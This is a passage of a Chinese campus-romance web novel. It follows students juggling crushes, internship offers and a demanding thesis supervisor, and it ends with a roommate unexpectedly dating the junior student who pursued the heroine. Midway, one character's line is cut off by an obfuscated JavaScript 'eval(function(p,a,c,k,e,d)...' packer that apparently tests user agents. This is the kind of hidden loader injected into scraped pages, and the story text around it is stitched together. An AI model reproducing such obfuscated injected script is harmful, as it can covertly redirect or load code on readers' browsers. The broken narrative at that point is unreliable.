何希簏大着胆子说完那句,一直没等到祝岁祯吭声,这让他心里七上八下的。哪怕她哈哈两声、开个什么玩笑、吐槽他两句都行啊,一句话不说可真是折磨死他了。 三人就这么诡异地沉默着走了许久,招来不少路人侧目。 金院颜值三霸同时出现且并排走着,简直像是乌云密布的阴天里,从厚重云隙间射下的三道日光,实在惹眼。 -.- 接下来的日子里,俞惟叙依旧神出鬼没。 没兴趣的课签了到就走,或者直接不来让舍友帮忙代签。有兴趣的课程,比如老师喜欢讲案例趣事的课,他就愿意听一听,甚至还会在课间去前面跟老师聊聊天。 祝岁祯就没他这么潇洒了,一边学大三这些重点专业课,一边搞暑期实习的笔试面试,甚至还要应付May时不时发来的消息,问她对某某资料文件还有没有印象。 依旧是因为寒假里那个男实习生……碰上这种毫无责任心且精致利己的人,简直倒了八辈子霉。他交上去的底稿乱七八糟、缺东少西,May得抽时间给他收拾烂摊子擦屁股。 不过,需要擦屁股的不止男实习生,还有远在美国的林期尔。 这姑娘大约是辛苦拿到offer之后过于纸醉金迷了,和一帮富家朋友花天酒地,嗨疯了直接酒驾撞车。 她的车子大几百万买的,性能优良安全系数高,没让她受什么伤。可对方就惨了,是个勤勤恳恳的双胞胎奶爸,一家子就指望他挣钱呢,被她撞瘫了。 林期尔爸妈真是费了好大一番周折,才帮她妥善处理后续,没让她和家里的生意受到影响。 但世上哪儿有不透风的墙,更何况这事也不算小,留学生圈子消息又传得飞快,俞惟叙甚至是从正在意大利科莫湖度假的朋友那里听说的,可见在二代三代的圈层里,这已经不是秘密了。 俞惟叙本来没打算回家的,但一听说这事,立刻开车回太平桥,在饭桌上和老妈讨论,说自己无福消受林大小姐,想谢绝这段缘,好在两人还没正式确定什么关系。 林期尔的性格,实在太容易埋雷。关理之的算盘打得确实好,但架不住以后林期尔时不时地炸一下子,这谁受得了。 但他万万没想到关理之依旧双标,说再观察观察。林期尔从小就常在国外,张扬些也没什么大不了的。而且经过这件事,她一定会吸取教训,犯错才会成长。 俞惟叙又被气死。 不过他最近也是有点小膨胀了,敢直接怼关理之,说既然能容忍林期尔左拥右抱,那他也要交女朋友!干嘛管他管得这么严。 噼里啪啦发泄一通,也不看他家关总的脸色,摔了门就走,动静大得把欠儿姐和俞况都吓一跳。 他发完火之后,趁着双休日在姥爷家住了两天,跟关理之冷战的同时,拉拢姥爷站自己这边。 根据俞况的情报,关理之看起来没多生气,大概率也知道理亏。但观鱼和林家的合作确实推进得很顺利,她舍不得这么大的单子。 对俞惟叙来说,关理之没追来姥爷家骂他,就算阶段性的胜利。 于是他悠闲地靠在客厅沙发,打开关理之去年给他姥爷家换的一台将近百万块钱的三星电视。搜到一部古早灰姑娘和豪门少爷的偶像剧,“百无聊赖”地当着姥爷的面看了起来。 果然姥爷问他怎么开始看这种电视剧了?他以前都是看什么英剧美剧纪录片的。 他煞有介事地分析,说这部剧里面男主家别墅的装修和家具审美不错,他在学习。 姥爷不疑有他。 等到剧情进展到男女主爱得死去活来的时候,他问姥爷,假如他也像剧里的男主一样,喜欢上了一个漂亮成绩好,除了家里穷之外没有缺点的女生,姥爷会支持吗? 姥爷的静默让俞惟叙的心慢慢沉了下去。良久,姥爷说这事他管不了,让俞惟叙听关理之的安排。 俞惟叙当然琢磨得出来,那意思就是姥爷不赞成。 他只能尴尬地笑说只是假设,让姥爷别这么认真,心里却十分苦涩。 没有姥爷的助力,俞况又什么都听老妈的,他还是孤立无援啊…… -.- 周一早上,祝岁祯和梦梦一起走进教室,刚坐下时发现何希簏竟然也跟了进来。 祝岁祯和梦梦以为他傻了,但何希簏只是笑了笑,从包里拿出一大袋芒果干,说是亲戚家自己果园做的,让学姐们尝尝。 梦梦超开心,因为她很喜欢吃芒果,以为何希簏专门给她带的,撕开包装袋给周围人分着吃。 俞惟叙从他们仨一进门,就目不转睛盯着,听到何希簏说感谢祝岁祯这些天一直喊他早起吃早餐,瞬间心梗。 所以他婉拒了芒果干,他不想吃何希簏的东西。 祝岁祯嘴上吃着果干,心里叹着气。 要不是爸妈的嘱托,她才懒得约他……所以她一定要拉上梦梦,起码能帮舍友牵牵红线。 何希簏老爸升官了,从集团总部的小领导调到章市子公司当总负责人,成了祝岁祯爸妈的大boss。甄念和祝金爀比领导还高兴呢,兴奋地对祝岁祯说押对宝了,前两年的布局没白费。 何爸知道祝岁祯爸妈在公司里,让部门领导特意关照,夫妻俩的绩效都比之前稍微高了些。 于是爸妈给祝岁祯打电话,让她务必要跟何希簏搞好关系,退休返聘能不能成,祝岁祯的努力也很重要。 祝岁祯真是头疼,她之前因为何希簏没答应梦梦的告白,对他态度很是冷淡。结果风水轮流转,这下该她陪小心了。 因此现在前面的祝岁祯、后面的俞惟叙,俩人都心塞地低着头,完全无法融入旁边热热闹闹聊天吃果干的舍友们。 这时突然有个不认识的女生来找俞惟叙,商量什么PPT。周围人竖起耳朵一听,明白了。 那女生是数学系的,上次竞赛跟俞惟叙一起拿了国一奖,学校要办大学生数学竞赛的交流分享会,让他俩做报告,M大官方号已经推送了分享会的时间地点。 鸡哥和箫剑开玩笑说这下得爆满了,哪怕不参加竞赛,也得来看看帅哥。 俞惟叙笑笑没说话。 事实证明鸡哥和箫剑是预言家。 没过两天,学校新推送了文章,说分享会的地点改了,因为报名人数超过预期太多,原定的数理学院大教室不够坐。 俞惟叙在学校里又风光了一把。 祝岁祯也终于有件开心的事,她刚收到了某top级互联网大厂F公司的暑期实习offer,不枉她辛辛苦苦准备了这么久。 光搜集的面试笔试资料就近两万字了,还在文档里插入了很多截图,干货满满。要是以收到offer为噱头卖资料,大概也能挣不少。 只是,她最近察觉到,梦梦好像没那么开心了,祝岁祯带她跟学弟一起玩的时候,她开始不爱去了。 祝岁祯不知道要怎么办,她不想单独跟何希簏在一起,这个学弟最近有些放肆了,开始学着梦梦叫她“祯祯”,过于体贴地照顾她,甚至还想拉她的手。 终于,5月中旬的一天早上,梦梦怒了。 三人都是早八的课,所以约了早餐。吃饭的时候,何希簏说他今天有网球的体育选修课,祝岁祯随口接话说挺好的,她以前想选网球课但没抢上。 何希簏主动请缨说自己现在学得挺好,还被老师表扬了,有时间可以手把手教祝岁祯,他来约网球场和准备器材。 梦梦选过网球课,但她谎称自己没学过,让何希簏也教教她。 谁知何希簏说自己一次教不了两个人,那意思明显就是不想教。 梦梦再也忍不了了,饭只吃了三分之一,端上餐盘就走。 事情发生得太突然,祝岁祯饭也不吃地追上梦梦,问她怎么了。 梦梦眼圈有点红,低着头快步走: “我早该看出他喜欢你的,是我蠢,一直像舔狗一样丢脸。他要是表白,你就答应他吧,不用考虑我。不就是男人么?老娘不稀罕。” 祝岁祯叹了口气,说自己不会跟他谈的,解释了一路,梦梦这才知道祝岁祯爸妈想退休返聘的事,祝岁祯是被迫跟何希簏拉关系的。 如果何希簏能跟梦梦在一起,可以说是给祝岁祯帮大忙了,这样既有熟人关系、祝岁祯也不用跟何希簏接触,皆大欢喜。 但梦梦管不了那么多,决定放弃。 接下来的几天,祝岁祯以各种各样的理由,拒绝何希簏的约饭请求。 本以为过几天他就会放弃,但当周四晚上的数据挖掘课程结束,她背着书包正朝宿舍大门走去的时候,突然被人拉住了胳膊。 转头一看,是何希簏。 “姐,找你有点事,去那边聊。” 他那双眼睛亮得出奇,好像她不答应,他就要在门口耗到天荒地老一样。 祝岁祯只好跟着他,走到对面三号楼墙脚下。 何希簏踌躇着开口:“我之前听梦姐提过一嘴,你上个月投了实习,现在有结果了吗?” 就为这事?祝岁祯很干脆地回答:“有,offer发大半个月了,F厂的商业分析岗。” 何希簏有些意外:“商业分析?那是什么?我以为你会投财审之类的。” 只要不聊感情,什么都好说。祝岁祯立刻给他解释商分岗是干什么的,以及招聘的要求。 她又想了想:“你也准备实习吗?现在几个大厂的实习通道可能要关闭,你要不看看别的。” 何希簏心不在焉地回答:“哦,好……” 他深吸一口气:“祯姐,我等你好久了,就是想聊聊咱俩……” 祝岁祯脑海里警报狂响。你小子要说什么?不许说! “那啥!”她打断何希簏施法,“你要是对大厂的商分感兴趣,我有一份超级详细的知识点,都是我辛辛苦苦总结的干货,你需要的话,发给你。” 何希簏点点头:“谢谢,我要说的不是这个,就是我想了很多天,觉得还是想跟你……” 她又打断:“啊!你想跟梦梦道歉对不对,哎呀早就该这样了,梦梦人很好的……” “祯祯姐!” 何希簏语气突然变得强硬,带了些委屈的怒意: “我看得出来,你想撮合我俩。但是你看不出来我喜欢你吗?为什么总把我往外推!你把我当什么!” 祝岁祯被他吓得心砰砰跳。 何希簏在M大,以清爽汽水一样帅气的外形著称,对人永远是一副温柔的笑模样。 可跟他很熟的人,才会知道他生气冷脸的时候,是另一种反差感的帅,因为少见,所以危险又迷人。 以上是梦梦对何希簏的评价,但祝岁祯一直不理解。现在,她终于见到了。 祝岁祯冷静下来后心想:你就是靠着这张脸,才让韩芷玥和梦梦对你念念不忘的吧? 她直视着他的双眼回他:“看不出来,我不想谈恋爱,没太关注你喜欢谁。” 轻飘飘的一句话,让他顿感挫败。 “何希簏,我把我的舍友们当做最好的朋友,所以我不会让梦梦难过。你对她没感觉的话我就不再牵线了,挺累的。” 何希簏缓缓垂下头,脸色黯淡无光。 祝岁祯又说:“你再冷静一下吧,我希望咱们是好朋友,不要搞得以后太尴尬。” 何希簏又抬起头,倔强地看着她:“谁说我要表白了,我只是说我喜欢你而已,我也喜欢很多人,没有别的意思。你最近几天都不理我,我才找你的。” 祝岁祯愣了一下,顺势说:“嗯,好吧,是我多想了,抱歉。” “祯祯姐晚安。” “嗯,晚安。” 或许是何希麓给她道了晚安的缘故,祝岁祯睡得很好。 但何希麓躺在床上辗转难眠,脑子里全是祝岁祯那些话。舍友们难得没熬夜打游戏早些睡,结果被迫伴着他窸窸窣窣的床板声入眠。 第二天早晨起床,舍友们拍了拍他肩膀: “兄弟,赶紧找个新女朋友吧,夜里精力太充沛了卧槽。” “你小子长得挺乖,没想到那啥还挺强,天赋异禀。” “右手都长茧子了吧,别摩擦起火再给男寝点着了。” 何希麓:那啥强我承认。但昨晚真不是…… -.- 祝岁祯本想着到期末月前还能有一俩星期的休息时间,只需要应付课程和作业,不用管什么实习和考试。但,学校并不会让她如愿。 第二天,学院给大三这届开了个动员培训会,大概讲了下毕业论文的要求、时间流程之类的,公布分组以及指导老师。 随后,教学秘书提示了第二件事:还没完成大创的同学,这次必须要完成了,否则不能毕业。 祝岁祯宿舍这才想起来,之前一直拖着没搞,现在是最后期限了。 大家在台下叽叽喳喳讨论着,已经完成大创的同学轻松自在,没完成的着急组队和请教经验。祝岁祯宿舍正惆怅,导员在群里发了论文的分组名单。 宿舍四个人完全被打散,纯随机分组。当看到名单最后一组时,四个人震惊了。 祝岁祯居然和俞惟叙一组!同组的还有一个超爱卷论文的男生,然后指导老师竟然是副院长…… 这个组合,可以说是最王炸、也是最地狱的组合,从导师卷到组员。 副院长啊,这位可是名单上指导老师里面,分量最重的了,因为今年院长不带本科的毕设。 大家都有种壮士送行的悲怆感,让她好好表现,据说副院长对论文要求非常严格,祝岁祯可得上点儿心了。 教学秘书让大家赶快抽空和指导老师约时间见面,看导师有什么意见安排。没做大创的同学也可以从论文分组里选导师。 大会开完,祝岁祯和舍友们简直头疼。她们四个人四个组,有四个导师,谁愿意接她们这四个菜鸟呢? 祝岁祯顶多是考试成绩好一些,但科研水平等于零。 祝岁祯正和舍友们满面愁容的时候,俞惟叙走到她们这一排看着她。 “来吧,这位组员,建群。” 另一个组员,蔡金势,也跟着他过来,拿出手机三人面对面建群。 小羊看向俞惟叙:“鱼仔啊,你可得多帮帮我家祯祯,她没写过论文,水平……可以说是没有水平……” 俞惟叙勾起唇,瞧了眼祝岁祯:“行啊,没问题,毕设简单。大创选创新训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝岁祯没得选了,只能先跟俞惟叙组队,看副院长要不要收他们多做个大创。如果导师不收,那就和舍友组队,但只能做创业了。 她想了想,笑眯眯地问俞惟叙:“洛院长如果拒了咱俩,你要不要加入我们宿舍组队,做个创业?” 俞惟叙立刻摇头:“可能不行,如果洛院长不收咱,我其实是想自己一个人做创新的,或者带我宿舍的去做创业,大黄他们也还没组队。” 卷心蔡鼓掌:“不愧是大神,一个人做创新。” 祝岁祯只好起身背书包,心里想着:俞惟叙其实都不想带自己做创新吧,影响人家第一作者的含金量了,大约是看她可怜才收下的……她还有什么理由推三阻四。 -.- 去了金融学院的第三层,俞惟叙敲门,带着俩人去副院长办公室。 “都是熟面孔哈哈,坐。”洛院长指了指沙发。 “你们互相都认识吧?小蔡之前跟着我的研究生一起做过课题。俞惟叙,和祝岁祯,之前股票预测模型是一起做的,如果我没记错的话。” “对,是的。”俞惟叙回答。 “这次毕设分组,是我提前把你们仨挑出来了,剩下的才是随机分配的。” 祝岁祯暗自惊讶。 洛院长补充道:“只是想带几个比较了解的学生,并不是说别人比你们差啊。” 俞惟叙笑道:“您对我们的毕设要求挺高吧?” 副院长也呵呵笑了笑,似乎是默认了。 祝岁祯无比惆怅。 “我相信,你们对自己是有要求的。做学术,要有内在驱动力,不能等我挥鞭子催你们。” 副院长看着他们仨:“小蔡没什么可说的。俞惟叙我也多少有些了解,挺早就开始发论文了,还跟着牛津的导师做课题。” 祝岁祯心一下子提了起来。 “祝岁祯呢?我还不太知道你,印象中成绩挺好。” 她被点名,紧张地回答:“我……还没发过论文……” 副院长似乎有些意外:“没发过?大创呢?大创总有吧?做的创业吗?” 祝岁祯尴尬道:“也……还没有……” 洛院长:…… 俞惟叙见状,迅速帮她打圆场:“老师,我也还没参加大创,这次组会想申请一下,看能不能跟着您做创新训练项目。” 他不忘拉上祝岁祯:“正好跟她组队,请您当指导老师,可以吗?” 洛院长的注意力被转移:“你?你是为什么没……哦,你去交换了……那行啊,反正都要带你们,顺便一起做了吧。” 祝岁祯终于松了口气。 随后导师又讲了些他在T大和芝加哥大学读书做科研的经历,以及目前金融学和金融工程比较前沿的课题,给他们做参考。 最后他说快到期末了,让大家安心学习,毕设的事暑假再开始研究就行;但也不能太晚,往年每届都有临到头了发现论文写得不行换选题的,一定要多留出时间。 三人走出金融学院,蔡同学下午后两节还有课,就先去教学楼了,剩祝岁祯和俞惟叙俩人往宿舍方向走。 现在正是上课时间,学校里人很少,两人边走边聊。 祝岁祯叹口气:“多谢你了,唉,我没想到老师这么看重科研……” 俞惟叙踢了踢路边的石子:“正常,他就是做学术出身的,工作重心也都在硕士博士那边。” 他看她那垂头丧气的样子,又补充道: “不用太担心,任务完成了就行,他不会为这事对你有意见的,不然也不会带你。” 祝岁祯被提醒了:“对啊!他为啥要选我呢?我如果被分到一个比较佛的导师,是不是就没这么大压力了?” 俞惟叙无奈:“你是不是傻,副院长多好,等你答辩的时候就知道了,没人敢为难你。” 她愣了下:“哎?真的吗?不过我对答辩是要干什么还不太懂。” 他说:“类似舌战群儒吧。台下几个老师各种挑你刺让你回答问题,实在看不下去就不通过,你得接着写,写到他们满意觉得合格了为止。” 祝岁祯大惊:“什么!那……万一一直不合格……” “延毕。”俞惟叙吐出两个冰冷的字。 “妈耶……”祝岁祯瑟瑟发抖,“那我还是早点用功,抱住导师大腿!” “这就对了,虽然咱导会严一点,但保你无后顾之忧。而且本科毕设难度不高,实在不行就来问我吧,包教包会的。” 祝岁祯开心道:“诶嘿,那我就不客气了哈哈。” 俞惟叙看着她阴转晴的笑脸,忍不住也扬起唇角: “随便,没人吃醋就行。” 祝岁祯:?? “吃醋?我舍友?” 俞惟叙“切”了一声:“脑子里只有舍友。” 他偏过头不看她:“你跟你那小学弟不是玩得挺好么,还主动约人家吃食堂……之类的。现在怎么样了?有新进展吗?” 祝岁祯看着他,一头雾水:“新进展?你又听了什么奇怪的八卦?” “没八卦啊,就是看你俩关系不错,总感觉要有好消息了。” “哎哟我去!”祝岁祯吐槽,“你想象力挺丰富啊少爷?我跟他……是因为家里有点儿别的事,前段时间才总一起吃饭。不是,我们吃饭梦梦也一直都在啊,你想哪里去了……” 俞惟叙追问:“家里的事?什么事?” “呃……我爸妈和邻居的事,找他家帮个小忙,没别的,小事而已。” 祝岁祯没法儿跟他说这些,什么爸妈让她搞好关系啊、退休返聘啊之类的,显得她做人太功利、目的性太强。 虽然她确实有这样的心思,但不想让俞惟叙知道。 俞惟叙问不出了,只能把好奇心烂肚子里。 “不过……真不谈啊?我看人家何希麓对你还挺上心的。” 祝岁祯反问道:“你和那沪上名媛呢?你俩的感情进展如何了?” “没戏。” 祝岁祯惊讶道:“啊?你俩黄了?” “大概率没戏,她……最近出了些状况,所以我觉得没戏。而且我俩性格不太合适。” 俞惟叙看着她:“我比较喜欢内敛、专一的女生,两个人休息时可以坐一起看看书、在花园里安静地晒晒太阳、度假时牵着手在海边、林间散散步。” 祝岁祯心里猛地一跳。 他描述的场景,和祝岁祯梦想中与另一半相处的样子,简直完全吻合。 可惜了,如果路齐江还在的话。 “但是,如果和那个女生在一起,”俞惟叙打断了她的思绪,“我大概要派人,每天晚上把她从夜店会所里接回来。” 祝岁祯“扑哧”一声,笑了。 “啊~原来那位美女是走这个路线的,呃,挺好的,人生得意须尽欢嘛。” 俞惟叙指了指自己的头发:“那我就要像《家有儿女》里刘星那样,把这玩意儿染成绿的。” 更好笑了。尤其是他那跟演员一样的北京口音,真对味儿。 她笑够了,说:“但据说你们这种有钱人家联姻的夫妻俩,都是在外面各玩各的,互不干涉。” “哎!打住,我不是这种人,不干这种事,我家长辈也都是正儿八经过日子的人,你别瞎听些乱七八糟的。” 祝岁祯耸耸肩:“哦,好吧,富婆姐姐不行了。那下一位呢?你妈妈应该会给你找个新对象吧?” 俞惟叙倒吸一口凉气:“你别咒我,我妈还真干得出来。正跟她冷战呢,好不容易才消停会儿。” 祝岁祯一想到同学眼中如高岭之花的二阀哥,在家里却饱受父母包办婚姻之苦,就觉得特别好笑。 “冷战?怎么冷战,不接电话不回消息不见面?” “差不多吧。”俞惟叙看着天上的云,说的这话。 其实他自认没这么有种,所谓的冷战,只是关理之一直没搭理他而已。 祝岁祯觉得这样不太好:“有想法还是要和家长沟通啦,父母是最亲的人,闹两天别扭就行了。” 两人走到宿舍区了,俞惟叙听完她的话,脸上浮现一个坏坏的笑。 “你给我灵感了。这么耗下去也没什么意义,不如我主动出击。”俞惟叙站定,转身看着她。 “这样吧,我就跟我妈说,我和同学谈恋爱了。祝岁祯你帮个忙,咱俩拍张情侣照……” 他话还没说完,只见她一脸惊恐,扭头就跑。 44.第四十四章 “你跑什么?” 俞惟叙被她的反应搞懵了,乐不可支地两步上前,拉住她胳膊。 “祝岁祯,你什么表情,有那么嫌弃我吗?” 她被抓到后也乐了,俞惟叙肯定只是开个玩笑而已,她有一瞬间竟然当真了。 “放手啦……人来人往的……” 俞惟叙两只手都钳住了她胳膊:“不放。你说清楚,我在你眼里这么次吗?配不上你吗?” 祝岁祯痛心疾首,仿佛他背叛了她:“我拿你当兄弟,你居然想害我?” 俞惟叙脱口而出:“谁要你拿我当兄弟了?!我要你把我当男朋友。” 祝岁祯一愣,瓷白的脸瞬间变粉,她赶紧看了看周围: “哎呦!你小点儿声吧……” 她的脸蛋跟变戏法儿似的,因为他一句话,红了。俞惟叙眼珠子直勾勾地盯着她,心里不知道是惊讶还是惊喜。 她因为他而紧张了吗?她在害羞吗? 俞惟叙离她近了些,低声问:“我怎么害你了?你要是我女朋友我能害你吗?” 他的表情实在有点认真了,祝岁祯大脑突然关机,整个世界只剩面前这张夺目的俊脸。 风吹过路边高大的白杨,叶子哗哗作响,这声音让她从美色中清醒。 祝岁祯突然回过神,扭着胳膊要挣开:“你先松手,松手了我再跟你说话。” 俞惟叙警告她:“不准跑啊。” “知道了知道了,快点,被人看见了!” 俞惟叙放开她,信念感极强地说:“我妈要是再跟我提什么对象,我就告儿她你是我女朋友,情比金坚谁也拆不散。” “呵,”祝岁祯无语地笑了声,“好老套的剧情,我告诉你接下来会发生什么。” 她开始幻想:“你妈妈看说不动你,就来找我,甩给我一沓支票让我自己填个数离开你。我装作很悲伤但被逼无奈,美滋滋地收钱。” 见他眼神变了,她大方且慷慨地说:“少不了你的,咱俩二八分,你拿二,我吃点亏拿八,怎么样?” 俞惟叙一脸震惊:“祝岁祯你也太黑了吧!且不说二八分合不合理,咱俩的感情是能用钱拆散的吗?” 祝岁祯努力憋笑:“你还搁这儿演上了?谈感情伤钱啊霸总!咱俩哪儿来的感情,不存在的。” “怎么会不存在呢?而且感情是可以培养的。”俞惟叙还在努力争取。 祝岁祯撇撇嘴:“培养个毛线……你就是想拿我当炮灰,反抗家里长辈的强权统治吧?俞总啊,你别搞我,我还要找工作,不想被大老板和她的商业联盟拉入黑名单。” 俞惟叙无奈:“我妈哪儿就那么大本事,能让你找不到工作了?你别把影视剧代入现实。” 还什么商业联盟、拉入黑名单呢……他家关总根本不会干这种让人笑话的事。关理之的眼里只有挣钱,多余的人和事她根本懒得理会。 祝岁祯一整个“不听不听王八念经”“总有刁民想害朕”的状态。 “哎呀俞总你找别人玩吧,我又要忙考试、又要零基础开始搞论文,不能被打扰。”她转身,慢慢往宿舍楼门口走去。 俞惟叙也跟上:“你这水平还担心考试啊?大创我来弄,回头填系统、答辩什么的你抽个空参与下就完事。” 祝岁祯摇头:“那怎么行,多少也得干点活儿,本来就是跟着你学习。” 她主要是想趁着大创的项目,先熟悉熟悉写论文的流程,回头写毕业论文能顺手一点。 俞惟叙完全依着她的想法,怎么样都可以,很爽快地跟她商量好下一步的打算,两人各回各的宿舍。 见祝岁祯头也不回地进门,俞惟叙转过身往家属区走,深吸了一口气。 出师不利啊。 好在是用开玩笑的方式试探的,不然他人生中第一次告白就要惨淡收场了。向来只有他拒绝别人的份儿,今天这体验真是酸爽。 祝岁祯上了几级楼梯,停下来捂着胸口,心里还残留些不淡定。 俞惟叙你不能仗着自己又高又帅又聪明又有钱,就这么撩别人啊!你自己听听你在讲什么!这是能说的吗?! 女生会当真的…… 幸好她刚在导师那里遭受打击,对自己几斤几两有了更清晰的认识,才没有被俞惟叙三言两语给迷晕,理智战胜了感性。 她一边上楼,一边回想,自己竟然扛得住俞惟叙含情脉脉的眼神,经得住这种level的诱惑……至此她神功已成,天下无敌! 回到宿舍,处理好课程作业,做了研究大创的计划表之后,舍友们下课回来。 她们已经知道祝岁祯被俞惟叙抢走了,只好跟大黄宿舍抱团做创业项目,顺便找了今天下午金融班的任课老师当指导老师,效率极高。 但因为指导老师挺忙的,只能给大方向的建议,所以大黄宿舍就又找了俞惟叙当场外辅导,纯让他干活、不给钱。 对此鱼仔表示:有你们是我的福气…… 晚上九点多,俞惟叙发给祝岁祯一个文档,列了几个可以当作创新训练选题的研究方向,让她挑挑看有没有感兴趣的,顺便也可以找找毕业论文的灵感。 她点开文件,大概扫了一眼后,深觉每一个都好厉害的样子啊! 祝岁祯越看越惆怅,但同时也莫名产生了一种隐约的兴奋,要真能写一篇像样的论文出来,那说明她也有做学术研究的潜力哈? 祝岁祯:【好的,我得查查资料,看着还挺难的。辛苦你啦,整理这些得花不少时间吧】 俞惟叙:【十来分钟而已,回宿舍路上就想了三个了。你慢慢看,有问题随时问,我一会儿开车回家】 祝岁祯:【这么多选题,半个小时?!!俞惟叙你是人类吗?】 俞惟叙:【废话】 随后,他发来一个餐馆链接,就在学校附近。 俞惟叙:【刚才和高中同学吃了顿饭,这家的鱼不新鲜,别去】 祝岁祯看到店名的瞬间,哈哈笑了起来。 这家店是何希簏的最爱。虽然人均有点高,但出了一款性价比超高的“穷鬼套餐”,何希簏每次外卖都点那个,还跟祝岁祯强力推荐…… 但她不会跟俞惟叙讲的,省得又惹少爷不高兴,她看得出鱼仔不太喜欢学弟。 俞惟叙不愧是富二代,居然吃得出新不新鲜?嘴真刁啊。祝岁祯可分不清食材如何,她只尝得出咸淡。 周六日,祝岁祯快跟书桌和电脑融为一体了,读论文、查资料,一坐就是一天,最后选定了两个研究方向。 她在周日下午发消息问俞惟叙,这两个选题哪个好做些。俞惟叙说他发给她的都是好做的。 祝岁祯:…… 她就多余问。 俞惟叙说让她抓阄,一个做大创,一个当毕业论文。 -.- 周一早上是四个班的大课,俩宿舍坐在一起,商量着以后可以订个大的研讨室,一起推大创的进度。 课间休息时,梦梦去楼上找她们组的导师汇报项目选题,老师昨晚说今天上午在教学楼302有课,可以课间的时候抽空给她讲一下。 梦梦回来时,一副魂不守舍的样子。 “怎么了?导师说不行吗?”远文问她。 “老铁们……”梦梦声音带着微微的颤抖,“我好像……有男朋友了……” 周围七人:???!!! 梦梦:“何希簏……” 四个男生倒还好,三个女生震惊了! 她们本来以为她又看上哪个爱豆了,没想到竟然是学弟! 趁着老师还没回来上课,梦梦努力压抑着激动,小声且快速地讲了一下刚才发生了什么。 梦梦他们创业组导师,在302教的是何希簏这届的金工小班课。她去的时候刚好撞见何希簏跟韩芷玥在走廊上说话,瞧着俩人不是很愉快。 但梦梦懒得理,直接进教室,却赶上老师家里小孩生病,在打电话,让梦梦先回去下次再约时间。 她一出来教室就被何希簏拦住。他直接当着韩芷玥的面,问梦梦要不要做他女朋友…… 梦梦当时挺无语的,但开玩笑地说了一句“行啊”,站在一边想瞧瞧这俩人又在唱什么戏。 然后!何希簏直接把她的手牵住了!!举起来给前女友看,说:“看见了吗?老子有女朋友了,滚吧。” 前女友走了。 梦梦问他是不是在拿她当枪使,何希簏大大方方承认了。但又说如果梦梦真的愿意,那从现在开始,两人就是男女朋友关系了。 七个人竟不知道该说什么。 这也行?! 祝岁祯惊呆,她努力了这么久都没成的事,居然就这么随意的成了? 造化弄人啊。那句话怎么说的来着?“命里有时终须有,命里无时莫强求。” 祝岁祯想起前些天,俞惟叙还觉得她跟何希簏有什么……听见没,人何希簏跟梦梦谈了! 她回头看了眼俞惟叙,没想到俞惟叙也在看她。两人无声地读懂了对方眼神里的意思。 接下来这节课,祝岁祯宿舍根本没法儿听了。梦梦忙着要在朋友圈官宣,让舍友们帮忙从一大堆长得差不多的照片里选,祝岁祯眼都花了。 但她突然想起什么,点开手机相册,往前翻到两年前的九月份,停在一张照片上。 天坛公园中心庄严恢弘的标志性建筑——祈年殿前,梦梦正拿着手机检查视频拍得怎么样,何希麓站得很近,也低着头凑过去看屏幕。 天气晴朗,璧人一双。 祝岁祯把这张偷拍图发在群里。 “咱俩第一次带他拍vlog,在天坛,记得吗?”祝岁祯小声提醒梦梦。 梦梦眼前一亮:“哇!这个好啊!而且那是我最瘦的时候……妆发做得也好!现在我都没那个耐心做头发了。” 梦梦曾经为了上镜,有段时间没好好吃饭,胃饿出毛病了。后来没敢这么折腾身体,体重回去了一些,但她觉得还是最瘦的时候好看。 最终选定这张,梦梦简单修了修,转给何希簏,让他一起在上课时间发朋友圈官宣。 她一分钟也等不了,谈到这种颜值水平的男朋友,恨不得立刻昭告天下。 梦梦的文案: 【两年前帮忙拍vlog的这位学弟,如今换了个身份。你好,男朋友】 何希麓的文案: 【不止天坛,以后你想去哪里,我都陪你。PS:感谢摄影师,为我们留下两年前的珍贵记忆】 两个宿舍第一时间点赞。 祝岁祯刚准备收起手机听课,一条消息弹出来。 何希簏:【祯祯姐~你还有当时拍的照片吗?】 祝岁祯回去翻了翻,又发给他一张。 祝岁祯:【只有这张了,背影的】 同一位置拍的,区别是这张他俩背对着镜头,一起在看祈年殿。 何希簏:【收了,谢谢】 何希簏:【梦梦开心吗?】 祝岁祯:【当然了。不过,你不许像以前对小韩学妹那样对她,有矛盾了好好说,要是敢惹她,哼,你等着吧】 何希簏:【哈哈,那怎样?】 祝岁祯:【怎样?揍你!还能怎样】 何希簏:【那我现在怼她几句,你上来揍我吧】 祝岁祯:【找死。不跟你聊了,我要听课】 何希簏:【好嘟,拜拜】 祝岁祯嫌弃地看了眼屏幕。好嘟?大男人卖什么萌。 她一边听课,一边观察梦梦。 梦梦这节课是彻底不听了,一直忙着回复消息,向各路亲朋汇报喜讯,偶尔溢出几声低笑,不知道谁逗她了。 真好,自从她爱豆出事,梦梦许久没这么开心了。 下课后,鸡哥问梦梦还去下午的研讨会吗,这不刚谈了帅气小学弟,估计无心搞大创了。 梦梦已经过了那个兴奋劲儿,现在倒也淡定,说还是要去的,不过要是何希簏没什么事干,可能会把他带来一起。 大家都嫌弃地说:不会秀恩爱撒狗粮吧…… 梦梦再三保证不会这样,俩宿舍才散了。 后面两节是小班课,俞惟叙和祝岁祯一起走。 “真是意外啊,我以为他喜欢你呢。”俞惟叙突然来了这么一句。 祝岁祯“切”了一声:“谢谢您看得起我,人家学弟可受欢迎了,不一定会瞧得上我这种无聊的人。” 俞惟叙挑了挑眉:“你,无聊?不无聊啊!时不时还能呲儿我两句,多有意思。你要是我兄弟就好了,咱俩天天互相损着玩儿。” 祝岁祯“啧”了一声,不懂富二代这是什么爱好,只知道他看着还挺开心的样子。 以至于他开心得……直接从最后一排坐到了第一排,和祝岁祯挨着…… “呃,你,确定要坐这里吗?不死守你的阵地了?”祝岁祯迟疑地问。 “对啊,我就要坐这里。怎么,不欢迎?”俞惟叙坐下,掏出崭新的课本,仰着头看她。 祝岁祯迅速转过头坐下,不能再多看他了,主要是他这个角度也很帅。 她本来想放弃自己的宝座,跟他隔一个位置,但又觉得太刻意了,好像故意躲着他似的。 “哦,教室又不是我家的,你爱坐哪儿坐哪儿呗。” 于是她还是坐在原来的位置上,和俞惟叙肩并着肩。 实在是太难适应了。 往常小班课,除了她没人爱坐第一排,她可是独享宽阔空间的。而且就算是大班课,她也和舍友坐一起,旁边都是女生。 